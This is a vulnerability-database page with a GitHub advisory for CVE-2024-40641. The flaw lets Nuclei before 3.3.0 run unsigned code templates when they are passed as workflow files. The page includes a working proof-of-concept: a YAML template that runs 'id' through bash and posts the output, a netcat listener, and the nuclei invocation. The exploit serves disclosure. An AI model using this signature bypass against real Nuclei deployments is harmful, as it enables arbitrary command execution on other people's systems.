CVE-2024-40641: projectdiscovery/nuclei allows unsigned code template execution through workflows
Summary Find a way to execute code template without -code option and signature. Details write a code.yaml: using nc to listen on 80: execute PoC template with nuclei: and nc will get id command output. We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Published Jul 17, 2024 · Updated Aug 6, 2024
Affected packages
github.com/projectdiscovery/nuclei/v3
- Ecosystem
- Go
- Affected
- < 3.3.0
- Fixed in
- 3.3.0
- Check
go list -m github.com/projectdiscovery/nuclei/v3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Find a way to execute code template without -code option and signature.
Details
write a code.yaml:
id: code
info:
name: example code template
author: ovi3
code:
- engine:
- sh
- bash
source: |
id
http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
- matchers:
- name: tusing nc to listen on 80:
nc -lvvnp 80execute PoC template with nuclei:
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debugand nc will get id command output.
We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
Credited to Ovi3.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-76802
Nuclei: Arbitrary Command Execution via DAST Code Signature Bypass
medium4.7Sep 22, 2026CVE-2026-76803
Nuclei: Local File Read via MySQL Client Sandbox Bypass
medium5.3Sep 22, 2026CVE-2026-76804
Nuclei: Local File Read via Workflow File-Protocol Gate Bypass
medium5.5Sep 22, 2026CVE-2026-76805
Nuclei: Environment Variable Disclosure via Response-Derived Data in DAST/Fuzz Mode
medium5.3Sep 22, 2026CVE-2026-76819
Nuclei: Arbitrary Code Execution via Goja JavaScript Engine Vulnerability
high8.6Sep 22, 2026CVE-2026-41645
Nuclei: Environment variable disclosure via Response-Derived DSL Expressions
medium5.3Apr 22, 2026
